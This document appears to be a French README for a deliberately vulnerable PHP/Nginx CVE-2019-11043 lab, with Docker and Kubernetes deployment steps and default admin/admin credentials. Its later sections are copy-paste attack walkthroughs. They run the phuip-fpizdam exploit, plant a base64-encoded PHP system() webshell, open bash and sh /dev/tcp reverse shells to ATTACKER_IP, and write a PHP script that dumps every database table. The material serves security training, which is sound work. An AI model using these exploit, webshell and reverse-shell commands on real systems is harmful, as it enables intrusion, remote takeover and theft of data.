Application de gestion de tâches (CVE-2019-11043 Lab)

Application PHP minimale avec une configuration Nginx/PHP-FPM volontairement vulnérable pour reproduire CVE-2019-11043. Inclut un mini gestionnaire de tâches, une page de connexion/admin et une interface de configuration de base de données.

Construction et exécution (Docker)

# build
docker build -t cve-2019-11043-lab:app .

# run
docker run --rm -p 8080:80 cve-2019-11043-lab:app

# open
open http://localhost:8080/

Démarrage rapide de l'exploit

Utilisez phuip-fpizdam contre status.php, laissez-le détecter les paramètres, puis relancez avec --skip-detect.

~/go/bin/phuip-fpizdam "http://localhost:8080/status.php"

Support de base de données

L'application prend en charge SQLite et MySQL avec détection automatique :

SQLite (par défaut)

DSN : sqlite:/var/www/html/data/app.sqlite
Aucune authentification requise
Configuration automatique - le fichier de base de données est créé lors de la première exécution
Parfait pour le développement et les tests

MySQL (optionnel)

DSN : mysql:host=hostname;port=3306;dbname=database;charset=utf8mb4
Nécessite une authentification par nom d'utilisateur/mot de passe
Remplacement par variable d'environnement pour les déploiements Kubernetes

Variables d'environnement

Lorsque ces variables d'environnement sont définies, elles remplacent automatiquement le DSN :

DB_HOST - Nom d'hôte de la base de données
DB_PORT - Port de la base de données (par défaut : 3306)
DB_NAME - Nom de la base de données
DB_USER - Nom d'utilisateur de la base de données
DB_PASS - Mot de passe de la base de données

Migrations automatiques

L'application exécute les migrations à la demande lors des requêtes (par ex., index.php, login.php, admin.php).
Les sondes K8s interrogent /health.php, qui vérifie également la connectivité à la base de données.
Aucun job de migration externe ni PHP local n'est requis.

Déploiement Kubernetes (EKS)

Les manifests se trouvent dans k8s/ :

k8s/secret.yaml : identifiants MySQL (espaces réservés stringData)
k8s/mysql-deployment.yaml : Déploiement MySQL + Service
k8s/app-deployment.yaml : Déploiement de l'application (privilégié) + Service ; monte le secret et définit les variables d'environnement DB
k8s/ingress.yaml : Ingress Nginx acheminant vers l'application

L'espace réservé de l'image utilise quay.io – remplacez quay.io/your-org/cve-2019-11043-lab:app par votre dépôt.

Ordre d'application :

kubectl apply -f k8s/secret.yaml
kubectl apply -f k8s/mysql-deployment.yaml
kubectl apply -f k8s/app-deployment.yaml
kubectl apply -f k8s/ingress.yaml

L'Ingress suppose un contrôleur Ingress Nginx et que le DNS/hôtes taskapp.local pointe vers son adresse.

Structure du projet

public/ : racine web (points d'entrée)
app/ : assistants de l'application (config, db, auth, version)
php/ : surcharges ini PHP-FPM
k8s/ : manifests Kubernetes
data/ : données d'exécution (base SQLite, config)

Administrateur par défaut

Connectez-vous sur /login.php avec admin / admin (indice UI masqué par CSS).

Interface de configuration de base de données

Accédez à /db_config.php en tant qu'administrateur pour :

Voir l'état et le type actuels de la base de données
Basculer entre SQLite et MySQL
Configurer les paramètres de connexion
Voir des exemples de connexion pour les deux types de bases de données

Avertissement

Cet environnement est volontairement vulnérable. Ne l'exposez pas à des réseaux non fiables.

Construction d'image multi-plateforme (Buildx)

Construisez et poussez une image multi-arch (linux/amd64, linux/arm64) vers quay.io.

Prérequis : Docker Buildx (Docker Desktop l'inclut). Émulation QEMU optionnelle : docker run --privileged --rm tonistiigi/binfmt --install all.

# set your repo once
export IMG=quay.io/your-org/cve-2019-11043-lab:app

# ensure buildx is ready
docker buildx create --use --name multi 2>/dev/null || docker buildx use multi
docker buildx inspect --bootstrap

# build and push multi-arch image
docker buildx build \
  --platform linux/amd64,linux/arm64 \
  -t "$IMG" \
  -t "${IMG}-$(date +%Y%m%d)" \
  --push .

# (optional) run locally on Apple Silicon as amd64
docker run --rm -p 8080:80 --platform linux/amd64 "$IMG"

De bout en bout avec phuip-fpizdam (copier/coller)

Définissez les cibles :

BASE=http://<your-elb-or-ingress-host>
TARGET="$BASE/status.php"

Exploit (détection automatique, puis exécution finale) :

~/go/bin/phuip-fpizdam "$TARGET"
~/go/bin/phuip-fpizdam --skip-detect "$TARGET"

Déposez un mini webshell et vérifiez l'exécution :

# write /public/sh.php (cmd runner) via exploit's RCE primitive (examples vary by tool output)
# alternatively, if you have RCE already, you can curl it directly from your host:
curl -s "$BASE/" -o /dev/null # warmup
# minimal cmd runner served from your host
printf "<?php @system(
isset(\$_GET['c'])?\$_GET['c']:'id');" | sed "s/$/\n/" | base64 > sh.b64
# deliver via RCE or any write primitive to /var/www/html/public/sh.php
# validate:
curl -s "$BASE/sh.php?c=whoami"

Continuez avec les exercices de laboratoire de post-exploitation ci-dessous pour le reverse shell, le dump MySQL, l'exfiltration DNS TXT, linPEAS et la recherche de clés AWS.

Exercices de laboratoire de post-exploitation (pour ce laboratoire seulement)

Ces étapes sont uniquement destinées à un usage éducatif dans cet environnement de laboratoire.

Définissez votre URL de base et votre IP d'attaquant :

BASE=http://<your-elb-or-ingress-host>
ATTACKER_IP=<your-ip>
ATTACKER_PORT=4444

1) Obtenir une exécution de commande et déposer un webshell simple

Après avoir exploité CVE-2019-11043 avec phuip-fpizdam, utilisez la primitive RCE pour écrire un mini webshell. Si vous avez déjà un shell dans le conteneur, exécutez :

# write /public/sh.php with a minimal cmd runner
printf "PD9waHAgQHN5c3RlbSgkX0dFVFsnYyddKTs/Pg==" | base64 -d | sudo tee /var/www/html/public/sh.php >/dev/null

Si vous n'avez que la RCE (pas de shell), exécutez la même écriture base64 via la primitive RCE (par ex., via l'outil d'exploit).

Validez :

curl -s "$BASE/sh.php?c=whoami"

2) whoami

curl -s "$BASE/sh.php?c=whoami"

3) Tentative de reverse shell (bash /dev/tcp)

Sur votre hôte attaquant :

nc -lvnp "$ATTACKER_PORT"

Déclenchez depuis la cible (commande encodée en URL) :

ENC="bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"

Si bash n'est pas disponible, essayez :

ENC="sh -c 'sh -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"
curl -g --data-urlencode c="$ENC" "$BASE/sh.php"

4) Sauvegarde MySQL (dump)

Option A (chemin administrateur du cluster) :

kubectl exec deploy/mysql -- sh -lc 'mysqldump -u"$MYSQL_USER" -p"$MYSQL_PASSWORD" "$MYSQL_DATABASE" | gzip -c' > dump.sql.gz

Option B (via webshell utilisant PHP PDO) : écrivez un script de dump rapide qui utilise la configuration de l'application :

# create /public/dump.php using the web shell RCE
cat <<'PHP' | base64 | tr -d '\n' | xargs -I{} curl -s "$BASE/sh.php?c=echo {} | base64 -d > /var/www/html/public/dump.php"
<?php
require __DIR__.'/../app/db.php';
$pdo=app_db_connect();
$tables=$pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN);
foreach($tables as $t){
  $rows=$pdo->query("SELECT * FROM `{$t}`")->fetchAll(PDO::FETCH_ASSOC);
  echo "-- Table: {$t}\n";
  echo json_encode($rows, JSON_UNESCAPED_UNICODE|JSON_UNESCAPED_SLASHES),"\n";
}
PHP

# fetch the dump
curl -s "$BASE/dump.php" | tee dump.json

Populaires

ctf-cve-2019-11043